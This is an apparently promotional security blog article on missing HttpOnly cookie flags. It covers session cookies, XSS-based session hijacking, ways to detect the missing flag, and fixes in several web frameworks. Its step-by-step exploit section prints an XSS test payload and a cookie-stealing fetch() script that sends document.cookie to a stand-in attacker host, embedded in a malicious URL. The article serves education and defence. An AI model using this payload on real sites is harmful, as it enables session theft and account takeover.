What is Insecure Cookie Attribute (Missing HttpOnly)? Ways to Exploit, Examples and Impact
Learn how missing HttpOnly attributes lead to session hijacking and XSS exploits. Discover how to secure your cookies and protect your users with Jsmon.
When you log into a website, the server needs a way to remember who you are as you move from page to page. Since HTTP is a stateless protocol, web applications rely on cookies to maintain your session. However, if these cookies are not properly secured, they become a prime target for attackers. One of the most common vulnerabilities found during web security audits is the missing HttpOnly attribute. This small configuration oversight can be the difference between a secure application and a full-scale account takeover.
In this guide, we will explore what the HttpOnly attribute is, why its absence is dangerous, how attackers exploit it, and how you can secure your infrastructure against these risks.
Understanding HTTP Cookies and Session Management
To understand the HttpOnly attribute, we first need to understand how cookies work. A cookie is a small piece of data that a server sends to a user's web browser. The browser may store it and send it back with later requests to the same server. Typically, cookies are used for session management, personalization, and tracking.
When you authenticate, the server generates a unique session identifier (Session ID) and sends it to your browser using the Set-Cookie HTTP response header. For example:
HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: session_id=abc123xyz789; Path=/; Domain=example.com
From this point forward, every time your browser makes a request to example.com, it includes that session_id in the Cookie header. This allows the server to recognize you without requiring a password on every single click.
What is the HttpOnly Attribute?
The HttpOnly attribute is a security flag added to the Set-Cookie header. When a cookie is marked as HttpOnly, it tells the browser that the cookie should not be accessible via client-side scripts, such as JavaScript.
In a standard web environment, JavaScript can access cookies using the document.cookie property. While this is useful for some functional cookies (like language preferences), it is extremely dangerous for sensitive session cookies. If a cookie is flagged with HttpOnly, any attempt to access it via document.cookie will return an empty string or will simply exclude that specific cookie from the list.
Here is what a secure header looks like:
Set-Cookie: session_id=abc123xyz789; Path=/; HttpOnly; Secure; SameSite=Strict
The Risk of Missing HttpOnly Attributes
The primary risk of a missing HttpOnly attribute is Session Hijacking via Cross-Site Scripting (XSS).
Cross-Site Scripting is a vulnerability where an attacker injects malicious scripts into a web page viewed by other users. If an application is vulnerable to XSS and the session cookie does not have the HttpOnly flag, the attacker's script can steal the session cookie and send it to a server they control.
Without HttpOnly, the security of your user's session is entirely dependent on the application being 100% free of XSS vulnerabilities-a very difficult standard to maintain in modern, complex web applications.
How to Exploit Missing HttpOnly (Step-by-Step)
Let's look at a practical scenario of how an attacker exploits a missing HttpOnly attribute through a Reflected XSS vulnerability.
Step 1: Identifying the Vulnerability
An attacker finds a search page that reflects the search query back to the user. For example:https://example.com/search?q=test results in a page saying "You searched for: test".
Step 2: Testing for XSS
The attacker tests if they can run JavaScript by entering a simple payload:https://example.com/search?q=<script>alert(1)</script>
If an alert box pops up, the site is vulnerable to XSS.
Step 3: Checking for the Cookie Attribute
The attacker checks if the session cookie is accessible. They can do this by opening the browser console and typing document.cookie. If they see session_id=abc123xyz789, they know the HttpOnly flag is missing.
Step 4: Crafting the Payload
The attacker now crafts a malicious URL that will steal the cookie. The payload will look something like this:
<script>
fetch('https://attacker-collector.com/log?cookie=' + btoa(document.cookie));
</script>
The btoa() function encodes the cookie in Base64 to ensure it travels safely through the URL. The attacker then tricks a logged-in user (perhaps an administrator) into clicking a link like this:
https://example.com/search?q=<script>fetch('https://attacker-collector.com/log?cookie='+btoa(document.cookie));</script>
Step 5: Session Hijacking
Once the victim clicks the link, their browser executes the script. The script reads the session cookie and sends it to the attacker's server. The attacker then takes that session_id and adds it to their own browser's storage. They refresh the page and are now logged in as the victim, bypassing the need for a username, password, or even Multi-Factor Authentication (MFA) in many cases.
Real-World Impact of Cookie Theft
The impact of missing HttpOnly flags can be devastating for both the user and the organization:
- Full Account Takeover (ATO): Once an attacker has a session cookie, they have full access to the user's account. They can change passwords, update email addresses, and lock the original user out.
- Data Exfiltration: If the victim is an administrator or a user with access to sensitive PII (Personally Identifiable Information), the attacker can download entire databases or customer records.
- Financial Fraud: In banking or e-commerce applications, session hijacking allows attackers to make unauthorized purchases or transfer funds.
- Privilege Escalation: Attackers often target administrative sessions to gain control over the underlying infrastructure or application settings.
Identifying Missing HttpOnly Attributes
As a developer or security professional, you should regularly audit your application for missing cookie flags.
Using Browser DevTools
- Open your website.
- Press
F12to open Developer Tools. - Go to the Application tab (in Chrome/Edge) or Storage tab (in Firefox).
- Select Cookies from the left sidebar.
- Look for the HttpOnly column. If there is no checkmark or "True" value for sensitive cookies like
session,jwt, orauth, you have a vulnerability.
Using curl
You can also check the raw HTTP headers using the command line:
curl -I https://example.com
Look for the Set-Cookie line in the output. If you see something like Set-Cookie: session=xyz123; Path=/, and the word HttpOnly is missing, the cookie is insecure.
Automated Reconnaissance
In a large organization with hundreds of subdomains, manually checking every cookie is impossible. This is where infrastructure reconnaissance becomes vital. Tools that monitor your external attack surface can automatically flag headers that lack security best practices, ensuring that no shadow IT or forgotten staging environment leaves your users at risk.
How to Fix and Prevent Missing HttpOnly
Fixing this issue involves updating the server-side code that generates the cookie. Most modern web frameworks make this very easy.
Node.js (Express)
If you are using express-session, you can set the attribute in the configuration object:
app.use(session({
secret: 'your-secret',
cookie: {
httpOnly: true,
secure: true, // Requires HTTPS
sameSite: 'strict'
}
}));
PHP
In PHP, you can set the global configuration in php.ini or set it during the session start:
session_start([
'cookie_httponly' => true,
'cookie_secure' => true,
'cookie_samesite' => 'Strict',
]);
Or for individual cookies:
setcookie("session_id", "abc123xyz", [
'expires' => time() + 3600,
'path' => '/',
'domain' => 'example.com',
'secure' => true,
'httponly' => true,
'samesite' => 'Strict',
]);
Python (Flask)
Flask sets HttpOnly to true by default for its session cookies, but if you are setting custom cookies, use:
@app.route('/')
def index():
resp = make_response("Setting a cookie")
resp.set_cookie('session_id', 'abc123xyz', httponly=True, secure=True)
return resp
Java (Spring Boot)
In your application.properties file, you can enforce this globally:
server.servlet.session.cookie.http-only=true
server.servlet.session.cookie.secure=true
Beyond HttpOnly: The Defense-in-Depth Approach
While HttpOnly is a critical defense, it is not a silver bullet. A comprehensive cookie security strategy should include:
- The Secure Flag: This ensures the cookie is only sent over encrypted (HTTPS) connections. Without it, a Man-in-the-Middle (MitM) attacker can intercept the cookie over unencrypted Wi-Fi.
- SameSite Attribute: This helps prevent Cross-Site Request Forgery (CSRF) attacks by controlling whether cookies are sent with cross-site requests. Use
SameSite=LaxorSameSite=Strict. - Short Session Timeouts: Reduce the window of opportunity for an attacker by expiring sessions quickly.
- Input Sanitization and Output Encoding: The root cause of cookie theft is often XSS. By preventing XSS, you remove the primary method used to steal cookies.
Conclusion
The missing HttpOnly attribute might seem like a minor technical detail, but it represents a significant gap in an application's security posture. By allowing JavaScript to access session tokens, you effectively hand over the keys to your user accounts to anyone who can find a single XSS vulnerability on your site. Implementing the HttpOnly flag is a low-effort, high-impact fix that every developer and security professional should prioritize.
To proactively monitor your organization's external attack surface and catch exposures like missing security attributes before attackers do, try Jsmon.